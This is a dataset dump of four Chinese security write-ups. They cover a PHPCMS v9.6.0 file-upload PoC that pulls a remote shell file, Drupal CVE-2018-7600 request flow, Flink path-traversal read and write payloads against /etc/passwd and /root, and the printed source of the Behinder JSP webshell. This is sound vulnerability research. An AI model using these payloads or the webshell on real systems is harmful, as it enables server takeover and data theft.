text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# 【漏洞分析】PHPCMS v9.6.0 任意文件上传漏洞分析（已有补丁）
|
##### 译文声明
本文是翻译文章，文章来源：Paper
原文地址：<http://paper.seebug.org/273/>
译文仅供参考，具体内容表达以及含义原文为准。
********
**
**
**Author: p0wd3r （知道创宇404安全实验室）**
**
**
**0x00 漏洞概述**
**漏洞简介**
前几天 phpcms v9.6
的任意文件上传的漏洞引起了安全圈热议，通过该漏洞攻击者可以在未授权的情况下任意文件上传，影响不容小觑。phpcms官方今天发布了9.6.1版本，对漏洞进行了补丁修复。
**漏洞影响**
任意文件上传
**0x01 漏洞复现**
本文从 PoC 的角度出发，逆向的还原漏洞过程，若有哪些错误的地方，还望大家多多指教。
首先我们看简化的 PoC ：
import re
import requests
def poc(url):
u = '{}/index.php?m=member&c=index&a=register&siteid=1'.format(url)
data = {
'siteid': '1',
'modelid': '1',
'username': 'test',
'password': 'testxx',
'email': '[email protected]',
'info[content]': '<img src=http://url/shell.txt?.php#.jpg>',
'dosubmit': '1',
}
rep = requests.post(u, data=data)
shell = ''
re_result = re.findall(r'<img src=(.*)>', rep.content)
if len(re_result):
shell = re_result[0]
print shell
可以看到 PoC
是发起注册请求，对应的是phpcms/modules/member/index.php中的register函数，所以我们在那里下断点，接着使用 PoC
并开启动态调试，在获取一些信息之后，函数走到了如下位置：
通过 PoC 不难看出我们的 payload 在$_POST['info']里，而这里对$_POST['info']进行了处理，所以我们有必要跟进。
在使用new_html_special_chars对<>进行编码之后，进入$member_input->get函数，该函数位于caches/caches_model/caches_data/member_input.class.php中，接下来函数走到如下位置：
由于我们的 payload 是info[content]，所以调用的是editor函数，同样在这个文件中：
接下来函数执行$this->attachment->download函数进行下载，我们继续跟进，在phpcms/libs/classes/attachment.class.php中：
function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '')
{
global $image_d;
$this->att_db = pc_base::load_model('attachment_model');
$upload_url = pc_base::load_config('system','upload_url');
$this->field = $field;
$dir = date('Y/md/');
$uploadpath = $upload_url.$dir;
$uploaddir = $this->upload_root.$dir;
$string = new_stripslashes($value);
if(!preg_match_all("/(href|src)=(["|']?)([^ "'>]+.($ext))\2/i", $string, $matches)) return $value;
$remotefileurls = array();
foreach($matches[3] as $matche)
{
if(strpos($matche, '://') === false) continue;
dir_create($uploaddir);
$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
}
unset($matches, $string);
$remotefileurls = array_unique($remotefileurls);
$oldpath = $newpath = array();
foreach($remotefileurls as $k=>$file) {
if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;
$filename = fileext($file);
$file_name = basename($file);
$filename = $this->getname($filename);
$newfile = $uploaddir.$filename;
$upload_func = $this->upload_func;
if($upload_func($file, $newfile)) {
$oldpath[] = $k;
$GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;
@chmod($newfile, 0777);
$fileext = fileext($filename);
if($watermark){
watermark($newfile, $newfile,$this->siteid);
}
$filepath = $dir.$filename;
$downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);
$aid = $this->add($downloadedfile);
$this->downloadedfiles[$aid] = $filepath;
}
}
return str_replace($oldpath, $newpath, $value);
}
函数中先对$value中的引号进行了转义，然后使用正则匹配：
$ext = 'gif|jpg|jpeg|bmp|png';
...
$string = new_stripslashes($value);
if(!preg_match_all("/(href|src)=(["|']?)([^ "'>]+.($ext))\2/i",$string, $matches)) return $value;
这里正则要求输入满足src/href=url.(gif|jpg|jpeg|bmp|png)，我们的 payload （<img
src=http://url/shell.txt?.php#.jpg>）符合这一格式（这也就是为什么后面要加.jpg的原因）。
接下来程序使用这行代码来去除 url 中的锚点：$remotefileurls[$matche] = $this->fillurl($matche,
$absurl, $basehref);，处理过后$remotefileurls的内容如下：
可以看到#.jpg被删除了，正因如此，下面的$filename = fileext($file);取的的后缀变成了php，这也就是 PoC
中为什么要加#的原因：把前面为了满足正则而构造的.jpg过滤掉，使程序获得我们真正想要的php文件后缀。
我们继续执行：
程序调用copy函数，对远程的文件进行了下载，此时我们从命令行中可以看到文件已经写入了：
shell 已经写入，下面我们就来看看如何获取 shell 的路径，程序在下载之后回到了register函数中：
可以看到当$status > 0时会执行 SQL 语句进行 INSERT 操作，具体执行的语句如下：
也就是向v9_member_detail的content和userid两列插入数据，我们看一下该表的结构：
因为表中并没有content列，所以产生报错，从而将插入数据中的 shell 路径返回给了我们：
上面我们说过返回路径是在$status > 0时才可以，下面我们来看看什么时候$status <=
0，在phpcms/modules/member/classes/client.class.php中：
几个小于0的状态码都是因为用户名和邮箱，所以在 payload 中用户名和邮箱要尽量随机。
另外在 phpsso 没有配置好的时候$status的值为空，也同样不能得到路径。
在无法得到路径的情况下我们只能爆破了，爆破可以根据文件名生成的方法来爆破：
仅仅是时间加上三位随机数，爆破起来还是相对容易些的。
**0x02 补丁分析**
phpcms 今天发布了9.6.1版本，针对该漏洞的具体补丁如下：
在获取文件扩展名后再对扩展名进行检测
**0x03 参考**
<https://www.seebug.org/vuldb/ssvid-92930>
[[漏洞预警]PHPCMSv9前台GetShell
(2017/04/09)](https://mp.weixin.qq.com/s?__biz=MzIyNTA1NzAxOA==&mid=2650473914&idx=1&sn=9eb94f27c121709d837c3e4df07cc7f8&pass_ticket=41uQwVrah%2B7ri0tXROEWobgq0%2BWtquBSape7MYFkD8RoRn8cVYczGKQcP%2BtCq2Jp) | 社区文章 |
**作者：天融信阿尔法实验室
公众号：<https://mp.weixin.qq.com/s/_OAwkKMws9F-RP7lBwSmbw>**
### 前言
在drupal框架中，比较经典又离我们最近的莫过于18年的CVE-2018-7600这个漏洞了。但是通过本人阅读和学习过此漏洞分析文章的过程中，发现都是针对于此漏洞点的详细分析。相对于此框架运行流程不是很熟悉的人可能在阅读完后很难理解。
作为阿尔法实验室的一员，本人通过阅读框架相关文档与漏洞分析的相关文章和自己对框架源码的调试，对框架运行的流程有了进一步的了解。
在此把这些分享给大家，本文主要分为两大部分：
第一部分是对drupal框架流程的简介（这里主要针对8.x系列），让我们知道在symfony开源框架基础上的drupal框架是如何利用监听者模式支撑起整个繁杂的处理流程，并让我们对框架如何处理一个请求有基本的了解。
第二部分，结合框架对漏洞CVE-2018-7600的运行流程进行详细解读，在漏洞触发的起始点首先通过动态调试正常数据包来了解drupal框架对其的处理流程，借此利用正常包中的可控变量来构造POC包。让我们不仅能对开头和结果得以了解，更能让中间的过程透明化。得以触类旁通。
### 一、背景介绍
Drupal是使用PHP语言编写的开源内容管理框架（CMF），它由内容管理系统（CMS）和PHP开发框架（Framework）共同构成。连续多年荣获全球最佳CMS大奖，是基于PHP语言最著名的WEB应用程序。
Drupal架构由三大部分组成：内核、模块、主题。三者通过HOOK机制紧密的联系起来。其中，内核部分由世界上多位著名的WEB开发专家组成的团队负责开发和维护。
Drupal综合了强大并可自由配置的功能，能支持从个人博客（PersonalWeblog）到大型社区驱动（Community-Driven）的网站等各种不同应用的网站项目。Drupal最初是由DriesBuytaert所开发的一套社群讨论软件。之后，由于它的灵活的架构，方便的扩展等特性，使得世界上成千上万个程序员加入了Drupal的开发与应用中。今天，它已经发展成为一套强大的系统，很多大型机构都采用基于Drupal的框架建站，包括The
Onion，Ain’t ItCool
News，SpreadFirefox，Ourmedia，KernelTrap，NewsBusters等等。它特别常见于社区主导的网站。
### 二、准备工作
#### 2.1 源码下载
首先可以直接通过官网下载页面<https://www.drupal.org/download>
直接下载最新版本或者通过<https://www.drupal.org/project/drupal/releases/xxx>
xxx代表你想下载的版本号，来下载对应版本的源码文件。
你也可以用PHP包管理工具composer进行下载。
#### 2.2 drupal安装
安装环境：WIN7 32位
集成环境：PHPSTUDY
调试环境：PHPSTORM
安装中可能出现的问题和解决办法：
1.php版本问题：最好为PHP7.0以上
2.datetime问题
解决方法：
php.ini 中设置
3.安装警告
这两个问题（warning）可以不解决。
针对问题1解决方法：升级php版本为7.1及以上。
针对问题2解决办法：在php.ini中，找到[opcache]，在这个地下添加如下内容。
zend_extension=”C:\xxx\xxx\php\php-7.0.12-nts\ext\php_opcache.dll”
opcache.memory_consumption=128
opcache.interned_strings_buffer=8
opcache.max_accelerated_files=4000
opcache.revalidate_freq=60
opcache.fast_shutdown=1
opcache.enable_cli=1
4.因为drupal处理有些请求过慢，有可能会导致超时出现异常，在Php.ini中max_execution_time选项设置大点即可。
### 三、框架浅析
#### 3.1目录结构
下面是drupal 8.5.7 源码解压后的目录:
/core drupal的内核文件夹，详见后文说明
/modules 里存放 自定义或者下载的模块
/profiles 里存放 下载和安装的自定义配置文件
/sites 文件夹，在drupal 7 或者更早的版本中，主要存放站点使用的主题和模块活其他站点文件。
/themses 里存放 自定义或者下载的主题
/vendor 里存放 代码的依赖库
接下来我们来看核心文件夹core下的目录结构
/core/assets – drupal 所使用的各种扩展库，如jquery，ckeditor,backbone,normalizeCSS等
/core/config - drupal 中的核心配置文件
/core/includes – 模块化的底层功能函数，如模块化系统本身
/core/lib – drupal提供的原始核心类
/core/misc – 核心所需要的前端杂项文件，如JS,CSS,图片等。
/core/modules – 核心模块，大约80项左右
/core/profiles – 内置安装配置文件
/core/scripts – 开发人员使用的各种命里脚本
/tests – 测试相关用的文件
/core/themes – 内核主题
#### 3.2 框架运行逻辑
Drupal是建立在symfony开源框架之上的，在symfony的官网上可知sysmfony就是一个可复用的php组件集，可以将任何一个组件独立的运用到自己的应用程序中来，在symfony官网里每一个组件都有独立的文档，这些组件有些被drupal直接使用，有些根据drupal自己的特性进行了修改。
我们首先来看一下symfony的执行流程
Drupal 与 symfony 在设计上也使用了相同的理念，它们都认为任何一个网站系统其实就是一个把请求转换为响应的系统。
在drupal的路由系统中，我们可以看到各个组件之间的关系：
在此基础上，drupal对symfony的处理流程进行了细化，构成了现在这个庞大的drupal处理响应流程。
图片链接地址为<https://www.drupal.org/docs/8/api/render-api/the-drupal-8-render-pipeline> 如需要可自行下载高清版。
#### 3.3 从入口文件来看
入口文件非常简洁，只有6行代码量，却贯穿了整个drupal，由于drupal的核心系统过于庞大，分析不可能面面俱到，我们将从入口文件一行行来看，分析下它的运行流程。首先是`$autoloader
= require_once ‘autoload.php’;`
表面上看单单的是包含了一个autoload.php的文件，实际上drupal会利用PHP自动加载机制创建一个自动加载器，并获取了一个自动加载的对象。下面从代码方面简略看下其流程：其根本是调用vendor/autoload.php
中的getLoader函数。
接着我们进入函数看看它做了什么：
ClassLoader对象就是利用里面定义的基本对应关系去查找函数和类定义文件。
函数最后返回实例化加载器，至此第一步完成，drupal以后就不需要手动的 include一大堆文件了，省去了大量工作。接着是 `$kernel = new
DrupalKernel(‘prod’, $autoloader);` drupal创建了一个新的drupal内核对象，为处理即将到来的请求对象做准备。
紧接着是入口文件中的`$request =
Request::createFromGlobals()`这一行代码。对于一个面向对象的系统来说，我们不应该直接使用`$_POST`,`$_GET`,`$_COOKIE`等这些全局变量。Drupal把它们全部封装进了`$request`对象。这样不仅简单方便，而且使用请求的对象可直接加入一些额外的功能和自定义的属性。
最终，会把相应的全局变量加到request对象中，并返回封装好的request对象。
如果说上面的操作只是预备阶段，那么接下来`$response =
$kernel->handle($request);`这行代码将开始步入正题，由drupal内核对象kernel来处理request请求。
Drupal的处理核心是利用了设计模式里面的监听者模式。其中包括一个事件源，里面包含了不同的事件以及事件等级。另一部分就是需要执行事件的程序或者函数，我们叫它监听者。在请求处理的这个流程中，每到一个节点，会派发出相应的事件，监听者会根据获取的事件对象和等级来进行相应的操作。
其中系统核心事件还是继续沿用symfony框架中的事件，位于kernelevents.php中，其中包含八大核心：
* Const REQUEST = ‘kernel.request’ 执行框架代码中的任何代码之前，请求分派的开始触发的。
* Const EXCEPTION = ‘kernel.exception’ 出现未捕获的异常时触发的事件。
* Const VIEW = ‘kernel.view’ 当控制器返回值不是response 实例时触发。此时控制器返回的是渲染数组，来进一步进行渲染工作。
* Const CONTOLLER = ‘kernel.controller’ 解析request请求找到相对应的控制器时触发，并可以对此控制器进行修改。
* Const CONTROLLER_ARGUMENTS = ‘kernel.controller_arguments’ 解析控制器的参数时触发，并可对参数进行更改。
* Const RESPONSE = ‘kernel.response’ 创建响应回复请求时触发，并可修改或替换要回复的相应。
* Const TERMINATE = ‘kernel.terminate’ 一旦发送响应，就会触发。这个事件会允许处理繁重的post-response任务。
* Const FINISH_REQUEST = ‘kernel.finish_request’ 完成Request请求时触发，可在请求期间更改应用程序时重置应用程序的全局和环境状态。
除了这些核心的事件，drupal中的每个监听者也会派发它们自己的事件。这些文件的位置位于\core\lib\Drupal\Core\目录下相对应文件夹中。它们都是以events.php结尾，文件中定义了相应的静态事件变量。
我们接下来看下drupal 核心的请求流程：
开始请求request—》解析请求得到控制器并修正——》解析控制器参数—-》根据控制器调用其中的方法—–》观察控制器的返回情况：返回响应对象reponse或继续进行渲染——》发送响应。如果整个流程中途产生异常，会直接触发异常事件进行异常的分发。请求对象在整个流程中除了会对核心请求事件的响应，还会根据实际情况进入响应其他普通模块事件的分支，但是不管中途的过程如何崎岖坎坷，最终都会重新回归主流程返回响应对象response。
接下来从源代码中观察下上述具体行为：
从index.php中继续跟进便进入了drupalkernel.php文件，我们来看看做了那些操作。
接下来就是一系列的处理函数函数调用链，我们一直跟进handle函数即可，这样我们直接可跟进核心函数handleraw
这里我们继续跟进即将返回的filterResponse函数。
这里的响应对象将一层一层的返回（需要注意的是不是所有的响应结果都会走这个流程），但是最终都会封装成respone响应对象，返回至index.php文件中的$response变量中。然后调用`$response->send()`发送封装好的响应对象。
有时我们发送的请求操作的内容会过于繁琐，所以当上面的调用结束后，我们的drupal内核在关闭前会做最后的处理。流程进入Index.php文件的最后一行,调用`$kernel->terminate($request,$response)`，我们根据调用链跟进stackedhttpkernel.php文件。
至此，整个周期已经结束。
我们发现上面整个过程中出现最多的就是派发事件这个操作了，其实所有派发进行的流程是相同的，派发的具体过程在ContainerAwareEventDispatcher.php文件中，我们拿kernel.request事件来进行举例说明。
系统中监听者总数有19个之多，每个监听者其中又会有与之相关的服务名，我们会根据传入的事件名称匹配相应的监听者，接着遍历挨个调用其中的服务名所对应的功能函数。我们这里是kernel.request事件，调用方式为回调调用。
### 四、再看CVE-2018-7600
通过第三部分单纯的框架分析可能只对流程有一个模糊的概念，接下来我们结合漏洞实例，针对比较经典的drupal框架漏洞cve-2018-7600来仔细观察下此漏洞在框架中的详细运行流程。我们这里利用漏洞触发环境的版本为8.5.0，此版本漏洞触发更为直观，所以我们后面分析所用代码版本如不做说明皆为此版本。
#### 4.1 补丁对比
因为此漏洞在8.5.1版本中被修复，5.0 和5.1又只相差一个子版本，我们可以更清晰的在源码中对比出其中的差异。看官方是如何修复这个漏洞的。
在8.5.1版本的源码中，新增了一个RequestSanitizer.php文件，里面是对request请求部分进行过滤，在stripDangerousValues方法中过滤了以#开头且不再白名单里的所有键名的值。
在prehandle方法中调用了上述文件新增的方法进行过滤，下图右边红色部分为8.5.1新增的过滤代码。
此处过滤代码的调用位置是在drupal内核处理请求之前。这样可以一劳永逸，彻底修复了这个漏洞。
接着我们进入drupal官网查看官方文档发现了drupal render api对#开头有特殊处理，关键文档链接在下方
<https://www.drupal.org/docs/8/api/render-api/render-arrays>并根据checkpoint安全团队发布了一份关于此漏洞相关技术细节[报告](https://research.checkpoint.com/uncovering-drupalgeddon-2/)。
链接如下：<https://research.checkpoint.com/uncovering-drupalgeddon-2/>。我们发现漏洞触发的源头是8.5.0版本中注册用户功能中的头像上传功能。
#### 4.2 数据包在框架中的运行流程
我们既然知道了漏洞的触发源头，那么首先随便上传一张图片，抓一个正常的初始包看看情况。
接着在入口文件index.php中，经过createfromglobals函数的包装，drupal把我们传入的参数全部封装进了request对象中。
##### 4.2.1 KernelEvents::REQUEST派发事件
由于上文中对框架流程做了介绍，下面就是drupal内核处理我们的request请求阶段了，我们这里直接把断点下在handleRaw上，并进入第一个KernelEvents::REQUEST派发事件，看看监听者们都对此次请求做了什么。
首先drupal尝试去处理Option请求，可惜我们这里是POST请求，所以不处理，直接放行。
接着会去处理URL路径上的斜杠问题，会把多个斜杠开头的路径转换成单个斜杠
然后会根据请求验证身份，我们这里没有做登陆，是游客身份，所以这里也不做特殊处理。
接下来会清理含有`$ _GET ['destination']`和`$ _REQUEST ['destination']`目标参数，防止重定向攻击。
紧接着会根据POST请求中的`_drupal_ajax`参数来判断此次请求是否为AJAX请求，并设置相关属性。
接下来就是根据请求中的URL部分来匹配相应的路由，这里drupal会先在路由缓存中查找相应的匹配项，如果没有则再进行全部的路由查表操作。（由于代码比较多，这里不做全部截取，只截取部分代码），处理函数在onKernelRequest
中，同时，我们也可以在user.routing.yml文件中找到相关信息。
路由找到了，接下来就是去检查此路由是否可用
紧接着就是检查站点是否处于维护模式，如果是维护模式则退出账户，检查站点是否脱机，检查动态页面缓存，预先处理非路由设置，根据参数看是否禁用副本服务器。这些操作的相关函数，均截图在下方。
至此，KernelEvents::REQUEST
的所有监听者的行为分析完毕，我们可以看到上面这些操作主要做的是一些额外的措施，我们可以忽略不看，但是从中我们也提炼出了一些有价值的信息，通过请求对象匹配到了相关的路由信息。
##### 4.2.2 KernelEvents::CONTROLLER与KernelEvents::CONTROLLER_ARGUMENTS事件
接下来在handleraw函数中，drupal通过刚刚匹配到的路由信息来找到真正的请求控制器和相应的参数。
我们先来看看`KernelEvents::CONTROLLER`的监听者们会做那些操作。
首先，为了以后不做冲突，在相应的管理器上设置了关键的KEY
紧接着为了确保后面处理数据时的完整性，这里利用闭包把回调处理控制器的函数存进$event对象中
因为`KernelEvents::CONTROLLER_ARGUMENTS`并没有属于它自己的监听者，所以这里派发直接放行。
##### 4.2.3 调用控制器
在handleRaw中处理完了请求相关的事件派发，并从request中找到了相应的控制器后，就该根据控制器找到相应的处理函数了。下方`call_user_function`中的控制器已经被替换为上图中闭包回调函数了，这里的调用控制器相当于直接进入上图中的闭包函数中。
在drupal中，控制器都会被加入渲染上下文，以保证每个控制器处理过程中如果有需要渲染的地方直接进行渲染操作。
根据控制器进入到了真正的调用方法，也就是getContenResult中，表单的构建正式开始。
##### 4.2.4 表单构建
在进入buildForm 函数后，我们首先会得到POST的信息并存入form_state。
在buildForm函数的retrieveForm函数中，form表单开始初步组装，如果其中有元素需要渲染，drupal大部分会直接利用`\Drupal::service(‘renderer’)->renderPlain();`这个渲染服务对元素进行渲染操作，最终渲染函数的主要操作在doRender函数中。
根据rquest组装的form表单在组装完成之后，马上就要处理表单请求了，这里processForm这个函数进行了这个操作，在这个函数中，运用递归的操作来处理行为，我们是一个图片上传操作，在这里也会对此行为进行处理，处理完毕后会进行图片的移动。接着对每个元素和token进行检查校验，最后根据结果rebuild整个Form表单。
如果想在processForm中跟踪对图片的处理流程，可直接对下方函数进行断点设置，并根据栈回溯来查找你关心的操作。
在运行完processForm函数后这里给出rebuild后部分FORM表单截图
到这里整个表单的处理操作已经完成了。
##### 4.2.5 异常派发。
在上一步完成表单操作之后，不知不觉中已把request请求对象转换成了响应response对象。眼看就要逐层返回并进行send操作了，但是在接下来的流程中drupal发现这是一个ajax请求，这里主动把操作拦截了下来，并抛出AJAX异常来对此次请求做额外的处理。
捕获到异常之后再处理异常中进行对异常的派发操作。
在这里的派发其实是一个遍历并匹配异常的过程，发生异常有很多种情况，匹配到正确的异常然后进行具体的处理。如果没有匹配到，放行即可。我们这里匹配到了AJAX的异常，如果还比较关心其他异常的处理流程，在kernel.exception数组中寻找即可。
我们进一步跟进发现onException的buildResponse函数中，有对AJAX的具体处理方法。
在uploadAjaxCallback函数中，我们从数据包的URL中获取element_parents参数的值，并以此为key从我们最终处理完成的FORM表单中获取出结果，接着对此结果进行渲染并呈现在HTML页面上。
根据我们POST包中URL得参数，我们这里取出了FORM表单中user_picture下widget数组中的第一项。
最终在doRender中要被渲染的对象就是刚刚取出来的元素。
渲染过后整个处理过程已即将步入尾声，开始构建response并逐层返回。
##### 4.2.6 kernel.response事件
既然到了response阶段，那么肯定就要开始触发response相应了，接下来我们来看看response 有哪些监听者
在response的派发函数中，其根本是对response对象的添砖加瓦以及做一些相应的扩展操作。如
判断动态页面是否需要缓存，是否需要添加缓存上下文，处理占位符，在成功响应时设置额外标头等。上述所有的操作都会在listeners下的kernel.response数组中，这里不做详细展开介绍。
##### 4.2.7 kernel.finish_request
当 request 和response 的操作都做完了之后，接下来会告诉drupal
内核所有已经完毕，会发送finish_request事件，这个事件的监听者只有一个：为了让URL生成器在正确的上下文中运行，我们需要把当前请求设置为父请求。
##### 4.2.8 kernel.terminate事件
做完上述操作后，request请求从请求栈中弹出，并逐层返回至Index.php入口主页面进行reponse的发送。最后进行扫尾工作，触发kernel.terminate事件，判断相关换成是否需要写入文件。最终drupal内核关闭。整个流程结束。
#### 4.3 整个流程总结
通过上一个小节分解式的解析了整个流程，我们下面来简单概括下：
发送数据包–>根据URL匹配相关路由–>根据路由找到相应的控制器–>根据控制器得到处理方法（我们这里是表单相关操作）–>进行表单的构建与渲染–>处理表单请求–>处理完表单后判断是否为AJAX操作–>主动抛出异常利用AJAX回调来重新渲染URL中标注的FORM表单key–>完成相应构建响应对象–>发送相应–>扫尾结束。
### 五、漏洞POC构建
结合上面框架的分析与理解开始对POC进行构建。在checkpoint安全团队发布了一份关于此漏洞相关技术细节[报告](https://research.checkpoint.com/uncovering-drupalgeddon-2/)（上文有链接）中可知，漏洞触发点是在表单构建好之后，触发AJAX异常，从FROM表单提取出要渲染的对象，进行渲染时触发，也就是在最终的doRender函数中。我们在doRender中发现如下可利用点：
根据第四部分我们对一个正常上传包在框架中运行的流程的分析，我们可知想让我们自己构造的内容在doRender中成功触发漏洞，首先需要控制流程,让其进入AJAX回调部分。
在下方这个if判断中，我们可知需要同时满足三个条件，`$ajax_form_request`
，`$form_state->isProcessingInput()` 和`$request->request->get(‘form_id’) ==
$form_id`。`$ajax_form_request`的值从下图可知是由ajax_form这个变量控制，form_id 是表单的id。
接下来，利用url中的element_parents参数值来获取表单数组中的值。在第四部分4.2.5小节有所讲述，此处不再重复说明。
最后构造相应的变量利用doRender函数中的`call_user_func_array`来触发漏洞。
根据上述描述，我们利用mail参数构造了如下POC包
除了上述mail参数可控外，在分析过程中同时发现form_build_id参数也可控，另一种POC如下。
### 六、参考链接
<https://blog.csdn.net/u011474028/article/details/53021051>
<https://paper.seebug.org/567/>
<https://research.checkpoint.com/uncovering-drupalgeddon-2/>
* * * | 社区文章 |
# Flink 任意文件读取和写入
## **一、前言**
Apache Flink 两个高危漏洞(CVE-2020-17518&CVE-2020-17519),分别是任意文件写入和任意文件读取.
## **二、commit 分析**
1、[任意文件读取](https://github.com/apache/flink/commit/b561010b0ee741543c3953306037f00d7a9f0801)
原代码
String filename = handlerRequest.getPathParameter(LogFileNamePathParameter.class);
补丁
String filename = new File(handlerRequest.getPathParameter(LogFileNamePathParameter.class)).getName();
通过补丁代码，粗略知道`handlerRequest`变量可控, 能够实现任意文件读取.
2、[任意文件写入](https://github.com/apache/flink/commit/a5264a6f41524afe8ceadf1d8ddc8c80f323ebc4)
原代码
final Path dest = currentUploadDir.resolve(new File(fileUpload.getFilename()).getName());
fileUpload.renameTo(dest.toFile());
补丁
final Path dest = currentUploadDir.resolve(new File(fileUpload.getFilename()).getName()); fileUpload.renameTo(dest.toFile());
通过补丁代码, 粗略知道`fileUpload`变量可控, 能够实现任意文件写入.
## **三、服务搭建 & 路由信息获取**
### **_服务搭建_**
1、下载包[flink](https://github.com/apache/flink/releases)
2、开启 jdwp 端口
修改 `cong/flink-conf.yaml` 文件，增加
env.java.opts.jobmanager: "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8006"
3、IntelliJ IDEA 打开第一步中的项目, 编辑远程调试配置
4、访问 <http://ip:8081>
### **_路由信息获取_**
访问 Flink Web UI, 访问页面, 让页面报错. 我这里通过上传一个非 jar 文件使项目报错, 然后获取日志, 看日志中异常信息
ERROR org.apache.flink.runtime.webmonitor.handlers.JarUploadHandler [] - Exception occurred in REST handler: Only Jar files are
allowed.
然后在 `org.apache.flink.runtime.webmonitor.handlers.JarUploadHandler` 下断点, 重新上传
jar 包. 再次访问时, 能成功触发断点. 通过调用栈, 找到该项目的路由类和路由变量.
## **四、漏洞分析**
1、任意文件读取
通过上面获取到的路由变量, 在 get 方法请求中找到 JobManagerCustomLogHandler 这个处理类. 然后根据 pattern 获取到
JobManagerCustomLogHandler 能处理 `v1/jobmanager/logs/:filename` 和
`jobmanager/logs/:filename` 两种请求. 通过分析, `filename`可控, 并且对变量值做了两次`url`解码.
所以最终的`payload`有
http://ip:8081/v1/jobmanager/logs/..%252f..%252f..%252f..%252fetc%252fpasswd
http://ip:8081/jobmanager/logs/..%252f..%252f..%252f..%252fetc%252fpasswd
2、任意文件写入
任意文件写入触发类是 `org.apache.flink.runtime.rest.FileUploadHandler`, 该类调用发生在路由解析之前,
而且`filename`可控
DiskFileUpload fileUpload = (DiskFileUpload)data;
Preconditions.checkState(fileUpload.isCompleted());
Path dest = this.currentUploadDir.resolve(fileUpload.getFilename());
fileUpload.renameTo(dest.toFile());
LOG.trace("Upload of file {} complete.", fileUpload.getFilename());
fileUpload 会先在 /tmp 目录下缓存文件, 然后再通过 filename 将文件移动. 所以构造 poc 如下:
POST /test HTTP/1.1
Host: ip:8081
Content-Length: 208
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryw6W3L7dPchtqPO4f
Origin: http://ip:8081
Referer: http://ip:8081/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryw6W3L7dPchtqPO4f
Content-Disposition: form-data; name="xxxx"; filename="/root/test123"
Content-Type: application/octet-stream
test123
------WebKitFormBoundaryw6W3L7dPchtqPO4f--
然后我们会在 `/root/` 目录下找到 `test123` 文件. 至于文件上传处理为什么放在路由处理之前, 有一点存疑
## **参考**
<https://lists.apache.org/thread.html/rb43cd476419a48be89c1339b527a18116f23eec5b6df2b2acbfef261%40%3Cdev.flink.apache.org%3E>
<https://lists.apache.org/thread.html/r6843202556a6d0bce9607ebc02e303f68fc88e9038235598bde3b50d%40%3Cdev.flink.apache.org%3E> | 社区文章 |
# 前尘——流量中的无法捕捉的蝎子
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
一天一个朋友跑过来，问我冰蝎又没有魔改的版本。说自己冰蝎执行命令被拦截了，于是我开始借此机会分析冰蝎源码，寻找其特征。
## JSP一句话木马分析
冰蝎两端二开，首先分析其JSP
`<%[@page](https://github.com/page "@page")
import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends
ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return
super.defineClass(b,0,b.length);}}%><%if
(request.getMethod().equals("POST")){String
k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond*/session.putValue("u",k);Cipher
c=Cipher.getInstance("AES");c.init(2,new
SecretKeySpec(k.getBytes(),"AES"));new
U(this.getClass().getClassLoader()).g(c.doFinal(new
sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>`
为了方便分析将其带入idea中进行格式化
一个类名为U的类继承ClassLoader,这里我只给大家解释一点,避免对classloader解释太多让大家不易理解。classloader就是将class文件加载到JVM中。读者理解这一点就行……
获取request对象，然后通过request对象获取请求方法。如果是POST方法则向下处理……
定义一个密钥，因为其采用aes加密,然后将这个key存入session对象，key为u，value为密钥。
通过Cipher对象实现了AES加密
然后初始化这个加密算法
init(int opmode, Certificate certificate)
init这个api是使用给定证书中的公钥初始化此密码。然后此处解决一个疑问，此处的aes加密还是解密是我困惑的一个点，后来差文档发现第一个参数opmode支持两种模式ENCRYPT_MODE
， DECRYPT_MODE ， WRAP_MODE或 UNWRAP_MODE，然后他传了一个int类型的2即为解密。
然后将上文声明的key当作密钥传入。自此aes方法声明结束。
然后实例化当前类，对于这种链式操作很大程度上减少了代码量，但是对于分析者不怎么友好。这种写法需要从内向外分析。
1.调用request对象的getReader然后逐行读取请求包里的内容。
2.调用sun包下misc中Base64Decoder方法对其进行base64解密
3.调用上文中实例的aes算法对象的dofinal对其进行aes解密
4.将内容传给声明的方法g中，内部调用defineClass方法动态解析内容成class内容
这里主要是defineClass方法给出api，可以搜索这个api文档深入理解。
## 聊聊这样实现的优势
我不得不承认的冰蝎作者对webshell管理端这样的先河开辟者的佩服。原因如下：对于一个webshell的控制，其最主要的功能在于命令执行也就是Runtime类。客户端向服务端发送命令，服务端获取内容然后带入exec当中。但是冰蝎作者没有这么做，他选择类加载的方式，客户端发送给服务端类文件由服务端使用classloader加载到jvm。这样做最大的好处就是可扩展性，可以做的事情不在局限于runtime类，让可以做的事情无限放大。从0到1是个大问题……
## 客户端
接下来看看客户端目录结构，让我庆幸的是。当我再次看到这样的目录结构让我留下的阔别已久的泪水，那些老架构项目的架构烂的一塌糊涂。这样的架构，分层思想给我接下来的分析减少了很大压力，直接pom下载依赖。
冰蝎使用了sqllite数据库
核心表就两张，hosts和shell表。多对多的关系，保存shell的记录。
1.dao层负责查询数据
2.entity层负责数据库和应用程序的实体映射
3.ui负责界面
4.util工具包
5.payload是客户端的功能实现
功能实现自己看吧，无非创建文件删除文件这些没啥说的。
## 聊聊特征
<https://www.freebuf.com/sectool/247009.html> 我一句这篇文章来做一个反驳吧
1.content-type Content-Type: application/octet-stream属于强特征。这种属于流传输，而用到流传输的地方多了去了，不能作为特征。
